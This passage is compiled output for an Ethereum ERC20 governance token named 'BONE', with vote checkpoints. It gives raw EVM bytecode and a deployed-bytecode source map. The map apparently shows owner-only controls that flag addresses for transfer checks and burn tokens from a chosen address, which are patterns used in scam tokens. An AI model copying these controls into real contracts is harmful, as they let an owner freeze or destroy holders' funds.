fffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e359190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e6b8483611fb790919063ffffffff16565b9050611e7986848484612010565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb1576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f1b576000611f88565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f699190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611f9f848361137d90919063ffffffff16565b9050611fad85848484612010565b5050505b5b505050565b600082821115611ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff390612ecd565b60405180910390fd5b81836120089190612d29565b905092915050565b60006120344360405180606001604052806034815260200161302f60349139612313565b905060008463ffffffff161180156120d257508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761209c9190612865565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561214c5781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876121269190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122bc565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561220b9190612eed565b63ffffffff1611612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890612f97565b60405180910390fd5b60018461225e9190612eed565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612304929190612fb7565b60405180910390a25050505050565b60006401000000008310829061235f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235691906123f9565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123a3578082015181840152602081019050612388565b60008484015250505050565b6000601f19601f8301169050919050565b60006123cb82612369565b6123d58185612374565b93506123e5818560208601612385565b6123ee816123af565b840191505092915050565b6000602082019050818103600083015261241381846123c0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061244b82612420565b9050919050565b61245b81612440565b811461246657600080fd5b50565b60008135905061247881612452565b92915050565b6000819050919050565b6124918161247e565b811461249c57600080fd5b50565b6000813590506124ae81612488565b92915050565b600080604083850312156124cb576124ca61241b565b5b60006124d985828601612469565b92505060206124ea8582860161249f565b9150509250929050565b60008115159050919050565b612509816124f4565b82525050565b60006020820190506125246000830184612500565b92915050565b6125338161247e565b82525050565b600060208201905061254e600083018461252a565b92915050565b60008060006060848603121561256d5761256c61241b565b5b600061257b86828701612469565b935050602061258c86828701612469565b925050604061259d8682870161249f565b9150509250925092565b600060ff82169050919050565b6125bd816125a7565b82525050565b60006020820190506125d860008301846125b4565b92915050565b6000602082840312156125f4576125f361241b565b5b600061260284828501612469565b91505092915050565b61261481612440565b82525050565b600060208201905061262f600083018461260b565b92915050565b600063ffffffff82169050919050565b61264e81612635565b82525050565b60006020820190506126696000830184612645565b92915050565b600080604083850312156126865761268561241b565b5b600061269485828601612469565b92505060206126a585828601612469565b9150509250929050565b6126b881612635565b81146126c357600080fd5b50565b6000813590506126d5816126af565b92915050565b600080604083850312156126f2576126f161241b565b5b600061270085828601612469565b9250506020612711858286016126c6565b9150509250929050565b60006040820190506127306000830185612645565b61273d602083018461252a565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061278b57607f821691505b60208210810361279e5761279d612744565b5b50919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000612800602783612374565b915061280b826127a4565b604082019050919050565b6000602082019050818103600083015261282f816127f3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061287082612635565b915061287b83612635565b9250828203905063ffffffff81111561289757612896612836565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128d782612635565b91506128e283612635565b9250826128f2576128f161289d565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612933602083612374565b915061293e826128fd565b602082019050919050565b6000602082019050818103600083015261296281612926565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129c5602683612374565b91506129d082612969565b604082019050919050565b600060208201905081810360008301526129f4816129b8565b9050919050565b6000612a068261247e565b9150612a118361247e565b9250828201905080821115612a2957612a28612836565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a65601b83612374565b9150612a7082612a2f565b602082019050919050565b60006020820190508181036000830152612a9481612a58565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612af7602483612374565b9150612b0282612a9b565b604082019050919050565b60006020820190508181036000830152612b2681612aea565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b89602283612374565b9150612b9482612b2d565b604082019050919050565b60006020820190508181036000830152612bb881612b7c565b9050919050565b50565b6000612bcf600083612374565b9150612bda82612bbf565b600082019050919050565b60006020820190508181036000830152612bfe81612bc2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c61602583612374565b9150612c6c82612c05565b604082019050919050565b60006020820190508181036000830152612c9081612c54565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cf3602383612374565b9150612cfe82612c97565b604082019050919050565b60006020820190508181036000830152612d2281612ce6565b9050919050565b6000612d348261247e565b9150612d3f8361247e565b9250828203905081811115612d5757612d56612836565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612db9602183612374565b9150612dc482612d5d565b604082019050919050565b60006020820190508181036000830152612de881612dac565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e4b602283612374565b9150612e5682612def565b604082019050919050565b60006020820190508181036000830152612e7a81612e3e565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612eb7601e83612374565b9150612ec282612e81565b602082019050919050565b60006020820190508181036000830152612ee681612eaa565b9050919050565b6000612ef882612635565b9150612f0383612635565b9250828201905063ffffffff811115612f1f57612f1e612836565b5b92915050565b7f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008201527f6b706f696e742065786365656473203332206269747300000000000000000000602082015250565b6000612f81603683612374565b9150612f8c82612f25565b604082019050919050565b60006020820190508181036000830152612fb081612f74565b9050919050565b6000604082019050612fcc600083018561252a565b612fd9602083018461252a565b939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122091ed4b2677ee8ecc20e05b67d9e8a9540462cc18ee176a9ce78b6f69b0d90bac64736f6c63430008110033
Deployed Bytecode Sourcemap
15739:6436:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9855:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11014:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9739:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12430:321;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10057:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11361:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17437:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17185:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16290:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10156:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18430:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15923:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9954:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17892:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10525:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11757:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12088:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10403:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19843:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10802:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16151:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;8493:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9855:91;9900:13;9933:5;9926:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9855:91;:::o;11014:169::-;11097:4;11114:39;11123:12;:10;:12::i;:::-;11137:7;11146:6;11114:8;:39::i;:::-;11171:4;11164:11;;11014:169;;;;:::o;9739:108::-;9800:7;9827:12;;9820:19;;9739:108;:::o;12430:321::-;12536:4;12553:36;12563:6;12571:9;12582:6;12553:9;:36::i;:::-;12600:121;12609:6;12617:12;:10;:12::i;:::-;12631:89;12669:6;12631:89;;;;;;;;;;;;;;;;;:11;:19;12643:6;12631:19;;;;;;;;;;;;;;;:33;12651:12;:10;:12::i;:::-;12631:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;12600:8;:121::i;:::-;12739:4;12732:11;;12430:321;;;;;:::o;10057:91::-;10106:5;10131:9;;;;;;;;;;;10124:16;;10057:91;:::o;11361:218::-;11449:4;11466:83;11475:12;:10;:12::i;:::-;11489:7;11498:50;11537:10;11498:11;:25;11510:12;:10;:12::i;:::-;11498:25;;;;;;;;;;;;;;;:34;11524:7;11498:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11466:8;:83::i;:::-;11567:4;11560:11;;11361:218;;;;:::o;17437:117::-;17498:7;17525:10;:21;17536:9;17525:21;;;;;;;;;;;;;;;;;;;;;;;;;17518:28;;17437:117;;;:::o;17185:104::-;17249:32;17259:10;17271:9;17249;:32::i;:::-;17185:104;:::o;16290:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;10156:127::-;10230:7;10257:9;:18;10267:7;10257:18;;;;;;;;;;;;;;;;10250:25;;10156:127;;;:::o;18430:1212::-;18511:7;18552:12;18538:11;:26;18530:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;18619:19;18641:14;:23;18656:7;18641:23;;;;;;;;;;;;;;;;;;;;;;;;;18619:45;;18695:1;18679:12;:17;;;18675:58;;18720:1;18713:8;;;;;18675:58;18843:11;18791;:20;18803:7;18791:20;;;;;;;;;;;;;;;:38;18827:1;18812:12;:16;;;;:::i;:::-;18791:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;18787:147;;18878:11;:20;18890:7;18878:20;;;;;;;;;;;;;;;:38;18914:1;18899:12;:16;;;;:::i;:::-;18878:38;;;;;;;;;;;;;;;:44;;;18871:51;;;;;18787:147;19029:11;18993;:20;19005:7;18993:20;;;;;;;;;;;;;;;:23;19014:1;18993:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;18989:88;;;19064:1;19057:8;;;;;18989:88;19087:12;19114;19144:1;19129:12;:16;;;;:::i;:::-;19114:31;;19156:428;19171:5;19163:13;;:5;:13;;;19156:428;;;19193:13;19235:1;19226:5;19218;:13;;;;:::i;:::-;19217:19;;;;:::i;:::-;19209:5;:27;;;;:::i;:::-;19193:43;;19278:20;19301:11;:20;19313:7;19301:20;;;;;;;;;;;;;;;:28;19322:6;19301:28;;;;;;;;;;;;;;;19278:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19364:11;19348:2;:12;;;:27;;;19344:229;;19403:2;:8;;;19396:15;;;;;;;;;19344:229;19452:11;19437:2;:12;;;:26;;;19433:140;;;19492:6;19484:14;;19433:140;;;19556:1;19547:6;:10;;;;:::i;:::-;19539:18;;19433:140;19178:406;;19156:428;;;19601:11;:20;19613:7;19601:20;;;;;;;;;;;;;;;:27;19622:5;19601:27;;;;;;;;;;;;;;;:33;;;19594:40;;;;;18430:1212;;;;;:::o;15923:39::-;;;;;;;;;;;;;;;;;:::o;9954:95::-;10001:13;10034:7;10027:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9954:95;:::o;17892:107::-;8099:12;:10;:12::i;:::-;8088:23;;:7;:5;:7::i;:::-;:23;;;8080:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17969:22:::1;17975:7;17984:6;17969:5;:22::i;:::-;17892:107:::0;;:::o;10525:104::-;8099:12;:10;:12::i;:::-;8088:23;;:7;:5;:7::i;:::-;:23;;;8080:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10617:4:::1;10595:8;:19;10604:9;10595:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;10525:104:::0;:::o;10291:::-;8099:12;:10;:12::i;:::-;8088:23;;:7;:5;:7::i;:::-;:23;;;8080:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10382:5:::1;10360:8;:19;10369:9;10360:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;10291:104:::0;:::o;11757:269::-;11850:4;11867:129;11876:12;:10;:12::i;:::-;11890:7;11899:96;11938:15;11899:96;;;;;;;;;;;;;;;;;:11;:25;11911:12;:10;:12::i;:::-;11899:25;;;;;;;;;;;;;;;:34;11925:7;11899:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11867:8;:129::i;:::-;12014:4;12007:11;;11757:269;;;;:::o;12088:175::-;12174:4;12191:42;12201:12;:10;:12::i;:::-;12215:9;12226:6;12191:9;:42::i;:::-;12251:4;12244:11;;12088:175;;;;:::o;10403:114::-;10466:4;10490:8;:19;10499:9;10490:19;;;;;;;;;;;;;;;;;;;;;;;;;10483:26;;10403:114;;;:::o;19843:222::-;19908:7;19927:19;19949:14;:23;19964:7;19949:23;;;;;;;;;;;;;;;;;;;;;;;;;19927:45;;20005:1;19990:12;:16;;;:67;;20056:1;19990:67;;;20009:11;:20;20021:7;20009:20;;;;;;;;;;;;;;;:38;20045:1;20030:12;:16;;;;:::i;:::-;20009:38;;;;;;;;;;;;;;;:44;;;19990:67;19983:74;;;19843:222;;;:::o;10802:151::-;10891:7;10918:11;:18;10930:5;10918:18;;;;;;;;;;;;;;;:27;10937:7;10918:27;;;;;;;;;;;;;;;;10911:34;;10802:151;;;;:::o;16151:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8493:244::-;8099:12;:10;:12::i;:::-;8088:23;;:7;:5;:7::i;:::-;:23;;;8080:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8602:1:::1;8582:22;;:8;:22;;::::0;8574:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;8692:8;8663:38;;8684:6;::::0;::::1;;;;;;;;8663:38;;;;;;;;;;;;8721:8;8712:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;8493:244:::0;:::o;1913:179::-;1971:7;1991:9;2007:1;2003;:5;;;;:::i;:::-;1991:17;;2032:1;2027;:6;;2019:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2083:1;2076:8;;;1913:179;;;;:::o;7055:98::-;7108:7;7135:10;7128:17;;7055:98;:::o;14827:346::-;14946:1;14929:19;;:5;:19;;;14921:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15027:1;15008:21;;:7;:21;;;15000:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15111:6;15081:11;:18;15093:5;15081:18;;;;;;;;;;;;;;;:27;15100:7;15081:27;;;;;;;;;;;;;;;:36;;;;15149:7;15133:32;;15142:5;15133:32;;;15158:6;15133:32;;;;;;:::i;:::-;;;;;;;;14827:346;;;:::o;12876:633::-;12978:8;:19;12987:9;12978:19;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;13001:8;:16;13010:6;13001:16;;;;;;;;;;;;;;;;;;;;;;;;;12978:39;12974:75;;;13040:4;13027:17;;:9;;;;;;;;;;;:17;;;13019:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;12974:75;13086:1;13068:20;;:6;:20;;;13060:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13170:1;13149:23;;:9;:23;;;13141:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13233:47;13254:6;13262:9;13273:6;13233:20;:47::i;:::-;13313:71;13335:6;13313:71;;;;;;;;;;;;;;;;;:9;:17;13323:6;13313:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;13293:9;:17;13303:6;13293:17;;;;;;;;;;;;;;;:91;;;;13418:32;13443:6;13418:9;:20;13428:9;13418:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;13395:9;:20;13405:9;13395:20;;;;;;;;;;;;;;;:55;;;;13483:9;13466:35;;13475:6;13466:35;;;13494:6;13466:35;;;;;;:::i;:::-;;;;;;;;12876:633;;;:::o;3355:166::-;3441:7;3474:1;3469;:6;;3477:12;3461:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3512:1;3508;:5;;;;:::i;:::-;3501:12;;3355:166;;;;;:::o;20073:376::-;20150:23;20176:10;:21;20187:9;20176:21;;;;;;;;;;;;;;;;;;;;;;;;;20150:47;;20208:24;20235:20;20245:9;20235;:20::i;:::-;20208:47;;20291:9;20267:10;:21;20278:9;20267:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;20360:9;20316:54;;20343:15;20316:54;;20332:9;20316:54;;;;;;;;;;;;20381:60;20396:15;20413:9;20424:16;20381:14;:60::i;:::-;20139:310;;20073:376;;:::o;8249:89::-;8297:7;8324:6;;;;;;;;;;;8317:13;;8249:89;:::o;13685:434::-;13788:1;13769:21;;:7;:21;;;13761:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13845:22;13870:9;:18;13880:7;13870:18;;;;;;;;;;;;;;;;13845:43;;13925:6;13907:14;:24;;13899:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14019:6;14008:8;;:17;;;;:::i;:::-;13987:9;:18;13997:7;13987:18;;;;;;;;;;;;;;;:38;;;;14052:6;14036:12;;:22;;;;;;;:::i;:::-;;;;;;;;14100:1;14074:37;;14083:7;14074:37;;;14104:6;14074:37;;;;;;:::i;:::-;;;;;;;;13750:369;13685:434;;:::o;15640:92::-;;;;:::o;21225:947::-;21331:6;21321:16;;:6;:16;;;;:30;;;;;21350:1;21341:6;:10;21321:30;21317:848;;;21390:1;21372:20;;:6;:20;;;21368:385;;21461:16;21480:14;:22;21495:6;21480:22;;;;;;;;;;;;;;;;;;;;;;;;;21461:41;;21521:17;21553:1;21541:9;:13;;;:60;;21600:1;21541:60;;;21557:11;:19;21569:6;21557:19;;;;;;;;;;;;;;;:34;21589:1;21577:9;:13;;;;:::i;:::-;21557:34;;;;;;;;;;;;;;;:40;;;21541:60;21521:80;;21620:17;21640:21;21654:6;21640:9;:13;;:21;;;;:::i;:::-;21620:41;;21680:57;21697:6;21705:9;21716;21727;21680:16;:57::i;:::-;21394:359;;;21368:385;21791:1;21773:20;;:6;:20;;;21769:385;;21862:16;21881:14;:22;21896:6;21881:22;;;;;;;;;;;;;;;;;;;;;;;;;21862:41;;21922:17;21954:1;21942:9;:13;;;:60;;22001:1;21942:60;;;21958:11;:19;21970:6;21958:19;;;;;;;;;;;;;;;:34;21990:1;21978:9;:13;;;;:::i;:::-;21958:34;;;;;;;;;;;;;;;:40;;;21942:60;21922:80;;22021:17;22041:21;22055:6;22041:9;:13;;:21;;;;:::i;:::-;22021:41;;22081:57;22098:6;22106:9;22117;22128;22081:16;:57::i;:::-;21795:359;;;21769:385;21317:848;21225:947;;;:::o;2604:158::-;2662:7;2695:1;2690;:6;;2682:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;2753:1;2749;:5;;;;:::i;:::-;2742:12;;2604:158;;;;:::o;20457:760::-;20579:18;20600:76;20607:12;20600:76;;;;;;;;;;;;;;;;;:6;:76::i;:::-;20579:97;;20708:1;20693:12;:16;;;:85;;;;;20767:11;20713:65;;:11;:22;20725:9;20713:22;;;;;;;;;;;;;;;:40;20751:1;20736:12;:16;;;;:::i;:::-;20713:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;20693:85;20689:452;;;20844:8;20795:11;:22;20807:9;20795:22;;;;;;;;;;;;;;;:40;20833:1;20818:12;:16;;;;:::i;:::-;20795:40;;;;;;;;;;;;;;;:46;;:57;;;;20689:452;;;20924:33;;;;;;;;20935:11;20924:33;;;;;;20948:8;20924:33;;;20885:11;:22;20897:9;20885:22;;;;;;;;;;;;;;;:36;20908:12;20885:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20999:12;20980:31;;20995:1;20980:12;:16;;;;:::i;:::-;:31;;;20972:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;21128:1;21113:12;:16;;;;:::i;:::-;21085:14;:25;21100:9;21085:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;20689:452;21179:9;21158:51;;;21190:8;21200;21158:51;;;;;;;:::i;:::-;;;;;;;;20568:649;20457:760;;;;:::o;17562:161::-;17637:6;17668:5;17664:1;:9;17675:12;17656:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;17713:1;17699:16;;17562:161;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:93::-;5576:7;5616:10;5609:5;5605:22;5594:33;;5540:93;;;:::o;5639:115::-;5724:23;5741:5;5724:23;:::i;:::-;5719:3;5712:36;5639:115;;:::o;5760:218::-;5851:4;5889:2;5878:9;5874:18;5866:26;;5902:69;5968:1;5957:9;5953:17;5944:6;5902:69;:::i;:::-;5760:218;;;;:::o;5984:474::-;6052:6;6060;6109:2;6097:9;6088:7;6084:23;6080:32;6077:119;;;6115:79;;:::i;:::-;6077:119;6235:1;6260:53;6305:7;6296:6;6285:9;6281:22;6260:53;:::i;:::-;6250:63;;6206:117;6362:2;6388:53;6433:7;6424:6;6413:9;6409:22;6388:53;:::i;:::-;6378:63;;6333:118;5984:474;;;;;:::o;6464:120::-;6536:23;6553:5;6536:23;:::i;:::-;6529:5;6526:34;6516:62;;6574:1;6571;6564:12;6516:62;6464:120;:::o;6590:137::-;6635:5;6673:6;6660:20;6651:29;;6689:32;6715:5;6689:32;:::i;:::-;6590:137;;;;:::o;6733:472::-;6800:6;6808;6857:2;6845:9;6836:7;6832:23;6828:32;6825:119;;;6863:79;;:::i;:::-;6825:119;6983:1;7008:53;7053:7;7044:6;7033:9;7029:22;7008:53;:::i;:::-;6998:63;;6954:117;7110:2;7136:52;7180:7;7171:6;7160:9;7156:22;7136:52;:::i;:::-;7126:62;;7081:117;6733:472;;;;;:::o;7211:328::-;7330:4;7368:2;7357:9;7353:18;7345:26;;7381:69;7447:1;7436:9;7432:17;7423:6;7381:69;:::i;:::-;7460:72;7528:2;7517:9;7513:18;7504:6;7460:72;:::i;:::-;7211:328;;;;;:::o;7545:180::-;7593:77;7590:1;7583:88;7690:4;7687:1;7680:15;7714:4;7711:1;7704:15;7731:320;7775:6